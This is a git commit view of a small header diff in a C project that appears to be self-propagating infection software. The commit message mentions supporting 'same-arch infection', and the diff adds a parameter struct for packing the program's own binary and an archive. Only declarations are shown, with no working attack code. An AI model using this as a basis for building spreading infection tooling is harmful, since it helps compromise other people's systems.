diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/pack.h | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/pack.h')
-rw-r--r-- | src/pack.h | 14 |
1 files changed, 14 insertions, 0 deletions
@@ -10,6 +10,7 @@ typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; +typedef struct prne_rcb_param prne_rcb_param_t; typedef enum { PRNE_PACK_RC_OK, @@ -47,6 +48,16 @@ struct prne_bin_rcb_ctx { int *err); }; +struct prne_rcb_param { + const uint8_t *m_self; + size_t self_len; + size_t exec_len; + const uint8_t *m_dv; + size_t dv_len; + const prne_bin_archive_t *ba; + prne_arch_t self; +}; + void prne_init_bin_archive (prne_bin_archive_t *a); void prne_free_bin_archive (prne_bin_archive_t *a); prne_pack_rc_t prne_index_bin_archive ( @@ -92,6 +103,9 @@ bool prne_index_nybin ( const uint8_t **m_ba, size_t *ba_len); +void prne_init_rcb_param (prne_rcb_param_t *rp); +void prne_free_rcb_param (prne_rcb_param_t *rp); + const prne_arch_t *prne_compat_arch (const prne_arch_t arch); const char *prne_pack_rc_tostr (const prne_pack_rc_t prc); |